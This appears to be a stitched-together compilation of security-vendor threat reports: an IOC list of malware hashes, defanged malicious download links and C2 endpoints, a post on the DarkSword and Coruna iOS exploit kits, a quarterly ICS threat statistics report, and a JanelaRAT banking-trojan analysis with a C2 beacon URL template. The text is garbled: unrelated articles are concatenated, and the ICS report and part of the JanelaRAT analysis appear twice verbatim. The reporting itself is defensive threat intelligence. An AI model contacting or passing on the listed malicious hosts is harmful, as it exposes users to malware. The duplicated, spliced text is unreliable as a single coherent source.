4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45
Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3
Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b
Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467
Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e
Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb
C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz
DarkSword and Coruna are two new tools for invisible attacks on iOS devices. These attacks require no user interaction and are already being actively used by bad actors in the wild. Before these threats emerged, most iPhone users didn’t have to lose sleep over their data security. Protection was really only a major concern for a narrow group — politicians, activists, diplomats, high-level business execs, and others who handle extremely sensitive data — who might be targeted by foreign intelligence agencies. We’ve covered sophisticated spyware used against such a group before — noting how hard to come by those tools were.
However, DarkSword and Coruna — discovered by researchers earlier this year — are total game-changers. This malware is being used for mass infections of everyday users. In this post, we dive into why this shift happened, why these tools are so dangerous, and how you can stay protected.
In mid-March 2026, three separate research teams coordinated the release of their findings on a new spyware strain called DarkSword. This tool is capable of silently hacking devices running iOS 18 without the user ever knowing something is wrong.
First, we should clear up some confusion: iOS 18 isn’t as vintage as it might sound. Even though the latest version is iOS 26, Apple recently overhauled its versioning system, which threw everyone for a loop. They decided to jump ahead eight versions — from 18 straight to 26 — so the OS number matches the current year. Despite the jump, Apple estimates that about a quarter of all active devices still run iOS 18 or older.
With that cleared up, let’s get back to DarkSword. Research shows that this malware infects victims when they visit perfectly legitimate websites that have been injected with malicious code. The spyware installs itself without any user interaction at all: you just have to land on a compromised page. This is what’s known as a zero-click infection technique. Researchers report that several thousand devices have already been hit this way.
To compromise a device, DarkSword uses a six-vulnerability exploit chain to escape the sandbox, escalate privileges, and execute code. Once it’s in, the malware harvests data from the infected device, including:
On top of all that, DarkSword lets attackers scoop up crypto-wallet data, making it essentially dual-purpose malware that functions as both a spy tool and a way to drain your crypto.
The only bit of good news is that the spyware doesn’t survive a reboot. DarkSword is fileless malware, meaning it lives in the device’s RAM, and never actually embeds itself into the file system.
Just two weeks before the DarkSword findings went public, researchers flagged another iOS threat dubbed Coruna. This malware is capable of compromising devices running older software — specifically iOS 13 through 17.2.1. Coruna uses the exact same playbook as DarkSword: victims visit a legitimate site injected with malicious code which then drops the malware onto the device. The whole process is completely invisible and requires zero user interaction.
A deep dive into Coruna’s code revealed it exploits a total of 23 different iOS vulnerabilities, several of which are tucked away in Apple’s WebKit. It’s worth reminding that, generally speaking (outside the EU), all iOS browsers are required to use the WebKit engine. This means these vulnerabilities don’t just affect Safari users — they’re a threat to anyone using a third-party browser on their iPhone as well.
The latest version of Coruna, much like DarkSword, includes modifications designed to drain crypto wallets. It also harvests photos and, in certain instances, email data. From what we can tell, stealing cryptocurrency seems to be the primary motive behind Coruna’s widespread deployment.
Code analysis of both tools suggests that Coruna and DarkSword were likely built by different developers. However, in both cases, we’re looking at software originally created by state-affiliated companies, possibly from the U.S. The high quality of the code points to this; these aren’t just Frankenstein kits cobbled together from random parts, but uniformly engineered exploits. Somewhere along the line, these tools leaked into the hands of cybercrime gangs.
Experts at Kaspersky’s GReAT analyzed all of Coruna’s components and confirmed that this exploit kit is actually an updated version of the framework used in Operation Triangulation. That earlier attack targeted Kaspersky employees, a story we covered in detail on this blog.
One theory suggests an employee at the company that developed Coruna sold it to hackers. Since then, the malware has been used to drain crypto wallets belonging to users in China; experts estimate that at least 42 000 devices were infected there alone.
As for DarkSword, cybercriminals have already used it to compromise users in Saudi Arabia, Turkey, and Malaysia. The problem is exacerbated by the fact that the attackers who first deployed DarkSword left the full source code on infected websites, meaning it could easily be picked up by other criminal groups.
The code also includes detailed comments in English explaining exactly what each component does, which supports the theory of its Western origins. These step-by-step instructions make it easy for other hackers to adapt the tool for their own purposes.
Serious malware that allows for the mass infection of iPhones while requiring zero interaction from the user has now landed in the hands of an essentially unlimited pool of cybercriminals. To pick up Coruna or DarkSword, you simply have to visit the wrong site at the wrong time. So this is one of those cases where every user needs to take iOS security seriously — not just those in high-risk groups.
The best thing you can do to protect yourself from Coruna and DarkSword is to update your devices to the latest version of iOS or iPadOS 26, as soon as you can. If you can’t update to the newest software — for instance, if your device is older and doesn’t support iOS 26 — you should still install the latest version available to you. Specifically, look for versions 15.8.7, 16.7.15, or 18.7.7. In a rare move, Apple patched a wide range of older operating systems.
To protect your Apple devices from similar malware that will likely pop up in the future, we recommend the following:
The idea that Apple devices are bulletproof is a myth. They’re vulnerable to zero-click attacks, Trojans, and ClickFix infection techniques — and we’ve even seen malicious apps slip into the App Store more than once. Read more here:
The percentage of ICS computers on which malicious objects were blocked has been decreasing since the beginning of 2024. In Q4 2025, it was 19.7%. Over the past three years, the percentage has decreased by 1.36 times, and by 1.25 times since Q4 2023.
Percentage of ICS computers on which malicious objects were blocked, Q1 2023–Q4 2025
Regionally, in Q4 2025, the percentage of ICS computers on which malicious objects were blocked ranged from 8.5% in Northern Europe to 27.3% in Africa.
Regions ranked by percentage of ICS computers on which malicious objects were blocked
Four regions saw an increase in the percentage of ICS computers on which malicious objects were blocked. The most notable increases occurred in Southern Europe and South Asia. In Q3 2025, East Asia experienced a sharp increase triggered by the local spread of malicious scripts, but the figure has since returned to normal.
Changes in percentage of ICS computers on which malicious objects were blocked, Q4 2025
In Q4 2025, the percentage of ICS computers on which wormsinemailattachments were blocked increasedinallregions of the world.
Many of the blocked threats were related to the worm Backdoor.MSIL.XWorm. This malware is designed to persist on the system and then remotely control it.
Interestingly, this threat was not detected on ICS computers in the previous quarter, yet it appeared in all regions in Q4 2025.
A study found that the active spread of Backdoor.MSIL.XWorm via phishing emails was likely linked to the use by hackers of another malware obfuscation technique that was actively used during massive phishing campaigns in Q4 2025. These campaigns have been known since 2024 as “Curriculum-vitae-catalina”.
The attackers distributed phishing emails to HR managers, recruiters, and employees responsible for hiring. The messages were disguised as responses from job applicants with subjects such as “Resume” or “Attached Resume” and contained a malicious executable file under the guise of a curriculum vitae. Typically, the file was named Curriculum Vitae-Catalina.exe. When executed, it infected the system.
In Q4 2025, the threat spread across regions in two waves — one in October and another in November. Russia, Western Europe, South America, and North America (Canada) were attacked in October. A spike in Backdoor.MSIL.XWorm blocking was observed in other regions in November. The attack subsided in all regions in December.
The highest percentage of ICS computers on which Backdoor.MSIL.XWorm was blocked was observed in regions where threats from email clients had been historically blocked at high rates on ICS computers: Southern Europe, South America, and the Middle East.
At the same time, in Africa, where USB storage media are still actively used, the threat was also detected when removable devices were connected to ICS computers.
The biometrics sector has historically led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.
These systems are characterized by accessibility to and from the internet, as well as minimal cybersecurity controls by the consumer organization.
Rankings of industries and OT infrastructure by percentage of ICS computers on which malicious objects were blocked
In Q4 2025, the percentage of ICS computers on which malicious objects were blocked increased only in one sector: oil and gas. The corresponding figures increased in two regions: Russia, and Central Asia and the South Caucasus.
However, if we look at a broader time span, there is a downward trend in all the surveyed industries.
Percentage of ICS computers on which malicious objects were blocked in selected industries
In Q4 2025, Kaspersky protection solutions blocked malware from 10,142 different malware families of various categories on industrial automation systems.
Percentage of ICS computers on which the activity of malicious objects from various categories was blocked
In Q4 2025, there was an increase in the percentage of ICS computers on which worms, and miners in the form of executable files for Windows were blocked. These were the only categories that exhibited an increase.
Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).
The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.
In Q4 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased. All sources except email clients saw their lowest levels in three years.
Percentage of ICS computers on which malicious objects from various sources were blocked
The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of computers affected by the source itself.
Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including OT infrastructures.
In Q4 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 3.26%. This is the lowest quarterly figure since the beginning of 2022, and it has decreased by 1.8 times since Q2 2025.
Percentage of ICS computers on which denylisted internet resources were blocked, Q1 2023–Q4 2025
Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 1.74% in Northern Europe to 3.93% in Southeast Asia, which displaced Africa from first place. Russia rounded out the top three regions for this indicator.
The percentage of ICS computers on which malicious documents were blocked increased for three consecutive quarters. However, in Q4 2025 it decreased by 0.22 pp to 1.76%.
Percentage of ICS computers on which malicious documents were blocked, Q1 2023–Q4 2025
Regionally, the percentage ranged from 0.46% in Northern Europe to 3.82% in Southern Europe. In Q4 2025, the indicator increased in Eastern Europe, Russia, and Western Europe.
The percentage of ICS computers on which malicious scripts and phishing pages were blocked decreased to 6.58%. Despite the decline, this category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.
Percentage of ICS computers on which malicious scripts and phishing pages were blocked, Q1 2023–Q4 2025
Regionally, the percentage ranged from 2.52% in Northern Europe to 10.50% in South Asia. The indicator increased in South Asia, South America, Southern Europe, and Africa. South Asia saw the most notable increase, at 3.47 pp.
Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.
In Q4 2025, the percentage of ICS computers on which spyware, ransomware and web miners were blocked decreased. The rates were:
The percentage of ICS computers on which miners in the form of executable files for Windows were blocked increased to 0.60% (up 0.03 pp).
Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.
To spread across ICS networks, viruses and worms rely on removable media and network folders and are distributed in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.
In Q4 2025, the percentage of ICS computers on which worms were blocked increased by 1.6 times to 1.60%. As mentioned above, this increase is related to a global phishing attack that spread the Backdoor.MSIL.XWorm backdoor worm across all regions of the world. The percentage increased in all regions. The biggest increase (up by 2.16 times) was in Southern Europe. The malware was primary distributed through email clients, and Southern Europe led the way in terms of the percentage of ICS computers on which threats from email clients were blocked.
The percentage of ICS computers on which viruses were blocked decreased to 1.33%.
This category of malware can spread in a variety of ways, so it does not belong to a specific group.
After an increase in the previous quarter, the percentage of ICS computers on which AutoCAD malware was blocked decreased to 0.29% in Q4 2025.
For more information on industrial threats see the full version of the report.
The percentage of ICS computers on which malicious objects were blocked has been decreasing since the beginning of 2024. In Q4 2025, it was 19.7%. Over the past three years, the percentage has decreased by 1.36 times, and by 1.25 times since Q4 2023.
Percentage of ICS computers on which malicious objects were blocked, Q1 2023–Q4 2025
Regionally, in Q4 2025, the percentage of ICS computers on which malicious objects were blocked ranged from 8.5% in Northern Europe to 27.3% in Africa.
Regions ranked by percentage of ICS computers on which malicious objects were blocked
Four regions saw an increase in the percentage of ICS computers on which malicious objects were blocked. The most notable increases occurred in Southern Europe and South Asia. In Q3 2025, East Asia experienced a sharp increase triggered by the local spread of malicious scripts, but the figure has since returned to normal.
Changes in percentage of ICS computers on which malicious objects were blocked, Q4 2025
In Q4 2025, the percentage of ICS computers on which wormsinemailattachments were blocked increasedinallregions of the world.
Many of the blocked threats were related to the worm Backdoor.MSIL.XWorm. This malware is designed to persist on the system and then remotely control it.
Interestingly, this threat was not detected on ICS computers in the previous quarter, yet it appeared in all regions in Q4 2025.
A study found that the active spread of Backdoor.MSIL.XWorm via phishing emails was likely linked to the use by hackers of another malware obfuscation technique that was actively used during massive phishing campaigns in Q4 2025. These campaigns have been known since 2024 as “Curriculum-vitae-catalina”.
The attackers distributed phishing emails to HR managers, recruiters, and employees responsible for hiring. The messages were disguised as responses from job applicants with subjects such as “Resume” or “Attached Resume” and contained a malicious executable file under the guise of a curriculum vitae. Typically, the file was named Curriculum Vitae-Catalina.exe. When executed, it infected the system.
In Q4 2025, the threat spread across regions in two waves — one in October and another in November. Russia, Western Europe, South America, and North America (Canada) were attacked in October. A spike in Backdoor.MSIL.XWorm blocking was observed in other regions in November. The attack subsided in all regions in December.
The highest percentage of ICS computers on which Backdoor.MSIL.XWorm was blocked was observed in regions where threats from email clients had been historically blocked at high rates on ICS computers: Southern Europe, South America, and the Middle East.
At the same time, in Africa, where USB storage media are still actively used, the threat was also detected when removable devices were connected to ICS computers.
The biometrics sector has historically led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.
These systems are characterized by accessibility to and from the internet, as well as minimal cybersecurity controls by the consumer organization.
Rankings of industries and OT infrastructure by percentage of ICS computers on which malicious objects were blocked
In Q4 2025, the percentage of ICS computers on which malicious objects were blocked increased only in one sector: oil and gas. The corresponding figures increased in two regions: Russia, and Central Asia and the South Caucasus.
However, if we look at a broader time span, there is a downward trend in all the surveyed industries.
Percentage of ICS computers on which malicious objects were blocked in selected industries
In Q4 2025, Kaspersky protection solutions blocked malware from 10,142 different malware families of various categories on industrial automation systems.
Percentage of ICS computers on which the activity of malicious objects from various categories was blocked
In Q4 2025, there was an increase in the percentage of ICS computers on which worms, and miners in the form of executable files for Windows were blocked. These were the only categories that exhibited an increase.
Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).
The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.
In Q4 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased. All sources except email clients saw their lowest levels in three years.
Percentage of ICS computers on which malicious objects from various sources were blocked
The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of computers affected by the source itself.
Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including OT infrastructures.
In Q4 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 3.26%. This is the lowest quarterly figure since the beginning of 2022, and it has decreased by 1.8 times since Q2 2025.
Percentage of ICS computers on which denylisted internet resources were blocked, Q1 2023–Q4 2025
Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 1.74% in Northern Europe to 3.93% in Southeast Asia, which displaced Africa from first place. Russia rounded out the top three regions for this indicator.
The percentage of ICS computers on which malicious documents were blocked increased for three consecutive quarters. However, in Q4 2025 it decreased by 0.22 pp to 1.76%.
Percentage of ICS computers on which malicious documents were blocked, Q1 2023–Q4 2025
Regionally, the percentage ranged from 0.46% in Northern Europe to 3.82% in Southern Europe. In Q4 2025, the indicator increased in Eastern Europe, Russia, and Western Europe.
The percentage of ICS computers on which malicious scripts and phishing pages were blocked decreased to 6.58%. Despite the decline, this category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.
Percentage of ICS computers on which malicious scripts and phishing pages were blocked, Q1 2023–Q4 2025
Regionally, the percentage ranged from 2.52% in Northern Europe to 10.50% in South Asia. The indicator increased in South Asia, South America, Southern Europe, and Africa. South Asia saw the most notable increase, at 3.47 pp.
Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.
In Q4 2025, the percentage of ICS computers on which spyware, ransomware and web miners were blocked decreased. The rates were:
The percentage of ICS computers on which miners in the form of executable files for Windows were blocked increased to 0.60% (up 0.03 pp).
Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.
To spread across ICS networks, viruses and worms rely on removable media and network folders and are distributed in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.
In Q4 2025, the percentage of ICS computers on which worms were blocked increased by 1.6 times to 1.60%. As mentioned above, this increase is related to a global phishing attack that spread the Backdoor.MSIL.XWorm backdoor worm across all regions of the world. The percentage increased in all regions. The biggest increase (up by 2.16 times) was in Southern Europe. The malware was primary distributed through email clients, and Southern Europe led the way in terms of the percentage of ICS computers on which threats from email clients were blocked.
The percentage of ICS computers on which viruses were blocked decreased to 1.33%.
This category of malware can spread in a variety of ways, so it does not belong to a specific group.
After an increase in the previous quarter, the percentage of ICS computers on which AutoCAD malware was blocked decreased to 0.29% in Q4 2025.
For more information on industrial threats see the full version of the report.
JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.
JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.
The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.
Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.
JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.
Malicious email used in JanelaRAT campaigns
Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.
However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.
Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.
JanelaRAT infection flow evolution
The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.
Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.
The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.
In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.
JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.
The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.
All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.
After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.
Following socket initialization, the malware launches two background routines:
Timer that looks for 10 minutes of inactivity
PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.
This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:
<C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>
We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.
| Parameter | Description |
| VS | JanelaRAT version |
| PL | OFF by default |
| AN | Yes or No depending on whether banking security software process exists |
This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.
If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.
To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.
| Action Performed | Description |
| Capture desktop image | Send compressed screenshots to the C2 |
| Specific screenshots | Crop specific screen regions and exfiltrate images |
| Overlay windows | Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials |
| Keylogging | Keystroke capture |
| Simulate keyboard | Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements |
| Track mouse input | Move the cursor, simulate clicks, and report the cursor position |
| Display message | Show message boxes (custom title, text, buttons, or icons) |
| System shutdown | Execute a forced shutdown sequence |
| Command execution | Run CMD or PowerShell scripts/commands |
| Task Manager manipulation |
Launch Task Manager, find its window, and hide it to prevent discovery by the user |
| Check for banking security software process | Detect the presence of anti-fraud systems |
| Beaconing | Send host information (malware version, profile, presence of banking software) |
| Toggle internal modes | Enable and disable modes such as screenshot flow, key injection, or overlay visibility |
| Anti-analysis | Detect sandbox or automation tools |
Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.
This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.
The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.
Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:
When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.
An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.
In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.
The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.
This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.
Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.
According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.
JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.
This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.
To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.
808c87015194c51d74356854dfb10d9e MSI Dropper
d7a68749635604d6d7297e4fa2530eb6 JanelaRAT
ciderurginsx[.]com Primary C2
JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.
JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.
The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.
Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.
JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.
Malicious email used in JanelaRAT campaigns
Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.
However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.
